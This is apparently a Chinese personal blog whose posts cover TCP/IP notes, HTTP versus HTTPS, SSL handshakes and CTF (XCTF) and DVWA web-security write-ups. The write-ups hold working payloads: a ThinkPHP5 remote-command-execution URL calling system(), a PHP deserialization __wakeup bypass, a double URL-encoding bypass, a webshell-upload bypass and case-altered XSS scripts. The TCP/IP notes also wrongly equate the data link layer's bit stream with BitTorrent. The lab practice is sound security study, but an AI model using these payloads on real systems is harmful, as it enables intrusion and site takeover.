《图解TCP/IP》精简笔记

学习目标:《图解TCP/IP》精简笔记

学习内容:

一、计算机网络背景
1、广域网与局域网;
2、OSI开放式通信系统互联参考模型:
<1>应用层:为应用程序提供服务并规定应用程序中通信相关的细节。针对特定应用的协议,电子邮件协议,远程登录协议,文件传输协议;
<2>表示层:主要负责格式转换。接受不同表现形式的信息,文字流,图像,声音等。将应用处理的信息转换为适合网络传输的格式,或者将来自下一层的数据转换为上层能够处理的格式;
<3>会话层:负责建立和断开通信连接,以及数据的分割和传输。何时建立连接,何时断开,以及保持多久连接
<4>传输层:可靠传输的作用。是否有数据丢失;
<5>网络层:经过哪个路由传递到目标地址;
<6>数据链路层:数据帧与比特流之间的转换;
(比特流:内容分发协议,它采用高效的软件分发系统和点对点技术共享大体积文件(如一部电影或电视节目),并使每个用户像网络重新分配结点那样提供上传服务。一般的下载服务器为每一个发出下载请求的用户提供下载服务,而BitTorrent的工作方式与之不同。分配器或文件的持有者将文件发送给其中一名用户,再由这名用户转发给其它用户,用户之间相互转发自己所拥有的文件部分,直到每个用户的下载都全部完成。这种方法可以使下载服务器同时处理多个大体积文件的下载请求,而无须占用大量带宽。)
<7>物理层:比特流与电子信号之间的切换;
在这里插入图片描述
在这里插入图片描述
3、传输方式分类
1)是否需要预先建立连接分类:
面向有连接型:发送数据之前需要在收发主机之间连接一条通信线路,例如电话;
面向无连接型:发送端于任何时候自由发送数据,接收端也永远不知道自己会在何时从哪接受数据,此时接收端需要时常确认是否接受了数据,例如发邮包;
2)交换方式分类
电路交换:交换机主要负责数据的中转处理。计算机首先被连接到交换机上,而交换机与交换机之间则由众多的通信线路再继续连接,计算机之间发生数据时需要先通过交换机与目标主机建立通信电路。
3)分组交换:
<1>为了防止电路交换中,两台计算机独占线路,实现并发交换。连接到通信电路上的计算机所要发送的数据分成多个数据包,按照一定的顺序排列之后分别发送。由于每个数据包都写入了发送端与接收端的地址,所以即使在同一条线路也可以同时为多个用户提供服务。
<2>分组交换中,分组交换机连接通信线路,发送端计算机将数据分组发送给路由器,路由器收到这些分组数据以后缓存到自己的缓冲区的队列中,然后再转发给目标计算机。也叫“蓄积交换”。
<3>由于网络拥堵,路由器可能发生缓存饱和或者溢出,甚至出现分组数据丢失。
4)根据接收端数量分类
<1>单播(Unicast):1对1通信;
<2>广播(Broadcast):对应的能接受到广播的计算机范围成为广播域,如果频段信息;
<3>多播(Multicast):指定特定的一组主机作为接收端,如电视会议;
<4>任播(Anycast):在特定的多台主机中选出一台作为接收端。类似多播在特定的一组主机中任选。在DNS根域名解析服务器中有应用。
4、地址
1)唯一性:一个地址必须明确地表示一个对象;
2)层次性:通过分层树状结构实现快速检索,如电话号码,实际住址。也有无层次的地址,如MAC地址。
3)MAC与IP在标识一个主体时都具有唯一性,但只有IP有层次性;MAC虽然是最终通信的地址,但寻址过程中IP地址必不可少;
4)P地址的分层:
<1>IP地址由网络号和主机号两部分组成;
<2>网络号相同的主机在组织结构,提供商类型和地域分布上都比较集中。
5)网络传输中,每个节点会根据分组数据的地址信息,来判断该报文应该由哪个网卡发送出去。为此,各个地址会参考一个发出接口列表。MAC寻址是地址转发表,IP寻址是路由控制表
5、现代网络
1)核心网:计算机网络中的“高速公路”;使用高速路由器快速传输大量数据。
2)边缘网络:“高速公路”的出入口;常用多功能路由器和3层交换机。
3)接入层(汇聚层):计算机网络中连接边缘网络的部分,常用2层交换机和3层交换机。
4)互联网通信:用户A - 接入层 - 【边缘网络】 - 【主干网】 - 【边缘网络】 - 接入层 - 用户B。有时候在接入层就可以完成通信。
5)移动通信:手机终端A - 基站 - 通信控制中心 - 声音主干网/数据主干网 - 通信控制中心 - 基站 - 手机终端B。
6)信息发布者:信息发布者将信息发布到数据中心,数据中心内部的网络分布着3层交换机和高速路由器。数据中心通常接入主干网或边缘网络可以实现大带宽高速数据传输,以此处理对该信息的大量访问。
6、虚拟化技术与云
1)虚拟化技术:当一个网站需要调整运营所使用的资源时,并不增减服务器,存储设备,网络等实际的物理设备,而是通过软件将这些物理设备虚拟化,在有必要的时候进行增减。以此达到按需分配,按比例分配,对外提供可靠的服务。
2)云:利用虚拟化技术根据使用者的情况动态调整必要资源的机制为“云”。

二、TCP/IP基础知识
1、TCP/IP协议簇:
1)应用层:HTTP,SMTP,FTP,TELNET,SNMP;
2)传输层:TCP,UDP
3)网络层:IP,ICMP,ARP
4)路由控制协议:RIP,OSPF,BGP
2、IETF/RFC:TCP/IP协议由IETF讨论制定,需要标准化的协议被列入RFC(Request For Comment);
3、互联网中的每个网络都是由骨干网(BackBone)和末端网(Stub)组成的。每个网络之间通过NOC(Network Operation Center)相连。如果网络运营商不同,网络连接方式和使用方法也会不同,连接这种异构网络需要IX(Internet Exchange)支持。互联网是一个由众多异构网络通过IX连接起来的一个巨型网络;
4、OSI七层
由谁实现:
应用程序:应用层,表示层,会话层;
操作系统:传输层,网络层;
设备驱动与网络接口:数据链路层,物理层。
硬件(物理层):以太网或者电话线;
网络接口层(数据链路层):相当于NIC(网卡)的驱动程序,驱动程序是操作系统与硬件之间的桥梁,直接插入硬件是无法正常工作的。
互联网层(网络层):IP协议的作用是将分组数据包发送到目的主机,通过互联网层可以忽略网络结构的细节,从相互通信的主机角度看,对端主机就如同在一个云层对面。
连接互联网的所有主机跟路由器都实现IP的功能。但网桥,中继器和集线器可以不用实现IP或TCP功能,因为它们处于第3层以下。
IP:是分组交换的协议,但不具备重发机制。可能出现丢包,属于非可靠传输协议。
ICMP:IP数据包发送途中一旦发生异常导致无法到达对面地址时,无药给发送端返回一个异常通知。这便是ICMP的作用。例如:ping命令。
ARP:从分组数据包的IP地址中解析出物理地址(MAC)的一种协议。
传输层:让应用程序之间实现通信。通过端口号识别。对于正在通信的2个程序而已,中间细节全被忽略如同一朵云。
TCP:面向有连接的传输协议。可以正确处理丢包,传输乱序等异常,还可以有效利用带宽。但建立与断开至少需要7次发包收包(3次握手,4次挥手),浪费网络流。不适合视频会议。
UDP:面向无连接传输层协议。用于多播或者广播等视频通信领域
应用层(会话层以上)
会话层,表示层,应用层都由应用程序实现。
TCP/IP应用架构多数属于客户端/服务端模型。
WWW,万维网:是一种互联网上数据读写规范
浏览器与服务端之间用HTTP通信(应用层);
传输数据主要格式是HTML(表示层)。
E-mail
发送电子邮件协议为SMTP(Simple Mail Transfer Protocol);
电子邮件格式由MIME协议(表现层)拓展。
FTP(文件传输协议)
传输可以选择二进制还是文本格式。在Windows和macOS或Unix等系统间进行文件传输时会自动修改换行符,这时由于表示层;
FTP进行文件传输时会建立2个TCP协议,一个用于发出请求时需要的控制连接,一个是实际传输连接。这个是会话层功能。
远程登录(TELNET和SSH,UNIX的rlogin,Windows的X协议)
网络管理(SNMP,Simple Network Management Protocol)
使用SNMP管理的主机,网桥,路由器称作SNMP代理(agent);
可以通过表示层协议MIB(Management Information Base)访问网络接口的信息,通信数据量以及设备温度等信息。
5、TCP/IP分层与通信
1)每个分层都会对所发数据附加一个首部,上一层的数据加首部就是的数据。
2)数据单位:
<1>包:全能性术语;
<2>帧:数据链路层中包的单位;
<3>数据报:IP和UDP等网络层以上分层中包的单位;
<4>段:TCP数据流中的信息;
消息:应用协议的数据的单位;
3)发送数据包的例子(发邮件)
<1>填写收件人邮箱(应用层,SMTP);
<2>邮件内容编码(表示层);
<3>群发还是单发(会话层)。
3)TCP模块的处理
<1>根据会话层的指示,建立连接;
<2>在应用层数据的前端加上TCP首部,包括:1)源端口号和目标端口号(用于识别发送主机和接受主机的应用),2)序号(用于确定发送包的哪部分数据),3)校验和(用于判断数据是否损坏)。
4)IP模块的处理
<1>IP将“TCP首部 + 应用层数据”合起来当作自己的数据,并在TCP首部前面加上IP首部;IP首部中包含发送和接受端的IP地址,后面还有用来判断其后数据是TCP还是UDP的信息。
<2>IP包生成后,参考路由控制表决定IP包的路由或主机。发送给连接这些路由器或主机的驱动程序。
<3>如不知道接收端MAC地址,可以用ARP(Address Resolution Protocol)查找。只要知道了IP和MAC就可以给以太网驱动程序实现传输。
<4>网络接口(以太网驱动)处理5)附加上以太网首部:接收端与发送端的MAC地址,标志以太网类型的以太网数据协议。
并由硬件计算FCS(Frame Check Sequence),添加到包的最后用以判断数据包是否由于噪声而被破坏。
5)经过数据链路的包
<1>以太网包首部,IP包首部,TCP(UDP)包首部,以及以太网包尾;
<2>包的首部包含:
发送端接收端的地址(以太网/MAC,IP/IP,TCP(UDP)/端口);
上一个协议类型;
协议自身信息
6)应用程序的处理
<1>网络接口:先判断接受端MAC地址是不是自己的MAC地址,如不是则丢弃。如果是则先查看数据类型,如果是IP包则传给IP子程序,如果是ARP则给ARP。如果无法识别数据类型则丢弃;
<2>IP模块:同样先查看IP,后查看数据类型;在有路由器的情况下,会根据路由控制表调查该送达的主机和路由进行转发。
<3>TCP模块:先计算校验和,判断数据是否损坏。然后检查是否在按照顺序接受数据,完成后返回确认回执给发送端;最后查看端口号把数据给相应的程序;
<4>应用程序:接受TCP传来的数据处理并作出响应(正常/异常)。
三、数据链路层
数据链路层的作用:数据链路层协议规定了通过信息通信媒介互联的设备之间传输的规范。 0,1等计算机二进制 -> 电压高低,光的闪灭以及电波强弱。
涉及名词:VLAN(Virtual Local Area Network),WLAN(Wireless Local Area Network),PPP(Point to Point Protocol),FDDI(Fiber Distributed Data Interface),ATM(Asynchronous Transfer Mode)。
数据链路的段:被分割的网络。例如,使用中继器相连的两个网线在网络层上讲是一个网络,但在数据链路层上是2个段,一根网线一个段。
1、数据链路相关技术
1)MAC地址:用于识别数据链路中互连的节点。
以太网或FDDI中的MAC和无限LAN与蓝牙等MAC是不同规范;
烧入ROM中,全世界唯一;
长度为48比特

HTTP与HTTPS的区别

HTTP与HTTPS的区别

前言:无论是在校学习还是找工作的时候,老师和面试官都问过同学 HTTP 和 HTTPS 的区别。平时上网的时候也没有关注这个问题,只是知道计算机网络里 HTTP 的概念,所以最近才查资料好好补补这一块。其实这一块的知识延伸很广,如果之前不太了解加密算法和 SSL 协议,可以在学习了这个问题的基础上再做研究。

一、基本概念
1、HTTP:互联网上应用最为广泛的一种网络协议,是一个客户端和服务器端请求和应答的标准(TCP),用于从WWW服务器传输超文本到本地浏览器的传输协议,它可以使浏览器更加高效,使网络传输减少。
2、HTTPS:HTTPS (全称:Hyper Text Transfer Protocol over SecureSocket Layer),是以安全为目标的 HTTP 通道,在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性 [1] 。HTTPS 在HTTP 的基础下加入SSL,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。 HTTPS 存在不同于 HTTP 的默认端口及一个加密/身份验证层(在 HTTP与 TCP 之间)。这个系统提供了身份验证与加密通讯方法。它被广泛用于万维网上安全敏感的通讯,例如交易支付等方面
二、HTTPS作用
  HTTPS协议的主要作用可以分为两种:一种是建立一个信息安全通道,来保证数据传输的安全;另一种就是确认网站的真实性。
三、HTTPS出现的原因:超文本传输协议HTTP协议被用于Web浏览器和网站服务器之间传递信息,HTTP协议以明文方式发送了内容,不提供任何方式的数据加密
在这里插入图片描述
四、HTTPS工作流程:
1、TCP 三次同步握手
2、客户端验证服务器数字证书
3、DH 算法协商对称加密算法的密钥、hash 算法的密钥
4、SSL 安全加密隧道协商完成
5、网页以加密的方式传输,用协商的对称加密算法和密钥加密,保证数据机密性;用协商的hash算法进行数据完整性保护,保证数据不被篡改
五、HTTPS与HTTP的区别
1、HTTP 明文传输,数据都是未加密的,安全性较差,HTTPS(SSL+HTTP) 数据传输过程是加密的,安全性较好。
2、使用 HTTPS 协议需要到 CA(Certificate Authority,数字证书认证机构) 申请证书,一般免费证书较少,因而需要一定费用。证书颁发机构如:Symantec、Comodo、GoDaddy 和 GlobalSign 等。
3、HTTP 页面响应速度比 HTTPS 快,主要是因为 HTTP 使用 TCP 三次握手建立连接,客户端和服务器需要交换 3 个包,而 HTTPS除了 TCP 的三个包,还要加上 ssl 握手需要的 9 个包,所以一共是 12 个包。
4、http 和 https 使用的是完全不同的连接方式,用的端口也不一样,前者是 80,后者是 443。
5、HTTPS 其实就是建构在 SSL/TLS 之上的 HTTP 协议,所以,要比较 HTTPS 比 HTTP 要更耗费服务器资源。
在这里插入图片描述
五、HTTP的不足:
1.HTTP虽然使用极为广泛, 但是却存在不小的安全缺陷, 主要是其数据的明文传送和消息完整性检测的缺乏, 而这两点恰好是网络支付, 网络交易等新兴应用中安全方面最需要关注的 。
2.关于 HTTP的明文数据传输, 攻击者最常用的攻击手法就是网络嗅探, 试图从传输过程当中分析出敏感的数据, 例如管理员对 Web 程序后台的登录过程等等, 从而获取网站管理权限, 进而渗透到整个服务器的权限。即使无法获取到后台登录信息, 攻击者也可以从网络中获取普通用户的隐秘信息, 包括手机号码, 身份证号码, 信用卡号等重要资料, 导致严重的安全事故。进行网络嗅探攻击非常简单, 对攻击者的要求很低。使用网络发布的任意一款抓包工具, 一个新手就有可能获取到大型网站的用户信息
3.另外,HTTP在传输客户端请求和服务端响应时, 唯一的数据完整性检验就是在报文头部包含了本次传输数据的长度, 而对内容是否被篡改不作确认。 因此攻击者可以轻易的发动中间人攻击, 修改客户端和服务端传输的数据, 甚至在传输数据中插入恶意代码, 导致客户端被引导至恶意网站被植入木马

攻防世界web高手进阶题

@TOC

baby_ web

在这里插入图片描述

相关知识:http中请求行请求报文以及初始页面
在这里插入图片描述
一、http中请求行请求报文
1、出现的原因:http是个无状态的协议,所以,需要在请求头和响应头中包括自身的一些信息和想要执行的动作,这样,对方在收到信息后,就可以知道你是谁,你想干什么。
2、http的请求报文由三部分组成:请求行、请求头、请求体
(1)请求行
<1>定义:默认1.1长连接, 1.0的以及被淘汰了
<2>格式:请求方式 请求资源 协议版本
<3>举例:POST /myday33/login.html HTTP/1.1,POST为请求方式,myday33/login.html为请求资源(也就是url),HTTP/1.1为协议版本
(2)请求头
<1>定义:客户端发给服务端的一些附加信息
<2>格式:key:value
请求头描述了客户端向服务器发送请求时使用的http协议类型,所使用的编码,以及发送内容的长度,refer,等等。refer是干嘛的,一般用来做简单的防跨站攻击。
(3)请求体
<1>并不是任何时候都有数据的,只有在post提交并且有参数的时候,请求体才有数据,其他情况没有.
<2>格式: name=value&name=value…
在这里插入图片描述

Training-WWW-Robots

本题涉及到robots协议的知识点,具体可查看博客攻防世界新手题

PHP2

在这里插入图片描述
相关知识:代码审计以及PHP源代码文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
1.打开浏览器,访问http://111.198.29.45:45191/index.phps 得到主页源代码。
2.进行代码审计,可看出需要用GET方式给id参数传递一个为“admin”的值,但是会经过一次urldecode(),会将传入的值进行url解码,所以要对admin进行两次url编码。
3.对admin字符串进行第一次url编码得到%61%64%6d%69%6e
4.将%61%64%6d%69%6e再次进行url编码得到%2561%2564%256d%2569%256e
5.访问http://111.198.29.45:45191/index.php?id=%2561%2564%256d%2569%256e 得到flag.
PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

unserialize3

在这里插入图片描述

相关知识:当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
1.打开题目,进行代码审计,可以看到xctf类只拥有一个public的flag变量,值为111。
2.public属性序列化后格式为:数据类型:属性名长度:”属性名”;数据类型:属性值长度:”属性值”。
3.本题目中,只存在一个变量,正常情况下序列化后,如下所示。
在这里插入图片描述
4.将设置属性值为2,可导致反序列化异常,如下所示。
在这里插入图片描述
4.根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。
5.访问http://111.198.29.45:34517?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}得到flag。

upload1

在这里插入图片描述
相关知识:文件上传漏洞:文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
第一步:选择上传文件时发现,客户端有对文件后缀绕过处理在这里插入图片描述
第二步:利用burp,需要对报文进行修改
在这里插入图片描述
第三步:顺利上传木马文件,用工具连接即可得到flag
在这里插入图片描述
如何绕过文件上传黑名单:使用不常见的文件后缀名绕过,例如php3,php4,phtml,asa等等。

php-rce(thinkphp5 远程命令执行漏洞)

thinkphp5 漏洞利用(具体自行百度)
在这里插入图片描述

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

贴出payload

Website

先用sqlmap扫了一下没有sql注入,尝试注册个账号看看,然后发现admin用户可以获得flag,
在这里插入图片描述

抓个包看看,点击GETFLAG抓包:看能不能篡改为admin用户

在这里插入图片描述

发现有csrftoken,还有加密的username

csrftoken:为了防止跨站域请求伪造,有的网站请求中会加入这个验证,在登录及登录后续的操作都会让你携带csrftoken,问题在于csrftoken每次刷新界面都要发生变化,所以查到csrf生成的位置就是关键所在,有的网站会把csrftoken放在html代码中返回给前端,这种找起来会比较简单

信息不足,用御剑扫描一下:发现了 test.php 和 action.php页面

其中test.php中有一段 密文 : E5xqqsvHoznsjlfDm5ryLg== 应该是admin 加密后密文

点开action.php页面 返回了 当前用户的 username 和 新生成的 csrftoken值,

在action.php页面抓包,把username改为 E5xqqsvHoznsjlfDm5ryLg==

提交得到 admin的 csrftoken值:7ee17a7dc9b90025d12c2d8a86584c8e

在这里插入图片描述

然后在 logined.php中点击GETFALG抓包,把username 和 csrftoken改为刚才获得的值

XSS实战

DVWA

一、xss注入的场景是一些论坛的留言板之类的,攻击者利用网页的漏洞写入程序脚本,当用户浏览的时候就会触发这个脚本。
reflected的xss只能是一次性的,而stored的xss是永久的,写入到留言板之后,就传入到服务器当中,当再有用户浏览时就会触发。
xss跟sql是非常想象的,最大的区别在于xss是前段,而sql是后端。且,xss很难获得webshell。
二、DVWA(low):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

没有任何过滤,直接写< script>alert(//xss)< /script>
成功
二、medium:查看源代码发现存在替换,但没有过滤大小写,所以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vulnerabilities/xss_r/source/medium.php
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?

< Script>alert(/xss/)< /Script>

三、stored(low)
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

查看源码发现没有任何防护,但是name长度有限制,可以使用hacker修改
在这里插入图片描述
修改maxlength为100在这里插入图片描述
然后直接XSS语句即可
二、stroed(medium)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

发现过滤了script,但是没有过滤大小写。

防护XSS

使用函数htmlspecialchars防御XSS
htmlspecialchars()函数可以把&.“”、’,<,>这些经常在XSS语句中出现的符号转换为HTML实体。
&(和)转成& amp;
(双引号)转成&quot
<(小于)转成& lt; >(大于)转成 & gt;

SSL握手

@TOC

关于SLL

SSL(Secure Socket Layer)安全套接字协议是运行在应用层和TCP层之间的安全机制。保证上层应用数据传输的保密性、完整性以及传输双发身份的合法性。
传输加密性:握手协议定义会话密钥后,所有传输的报文被会话密钥加密。
消息的完整性:传输的报文中增加MAC(消息认证码),用于检测完整性。
身份验证:客户端认证(可选),服务端认证(强制)
SSL协议包括:握手协议(Handshake protocol)、SSLpassword变化协议(SSL change cipher spec protocol)、警报协议(Alert protocol)、记录协议(Record protocol)。
握手协议是SSL连接通信的第一个子协议也是最复杂的协议。 
在这里插入图片描述

SLL握手流程

1、 Client Hello 协商ssl/tls协议版本、加密算法套件
2、Server Hello
3、Certificate
4、Server Key Exchange
5、Server Hello Done
6、Client Key Exchange
7、Application Data Protocol: http-over-tls 业务数据安全传输
类似于TCP三次握手

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment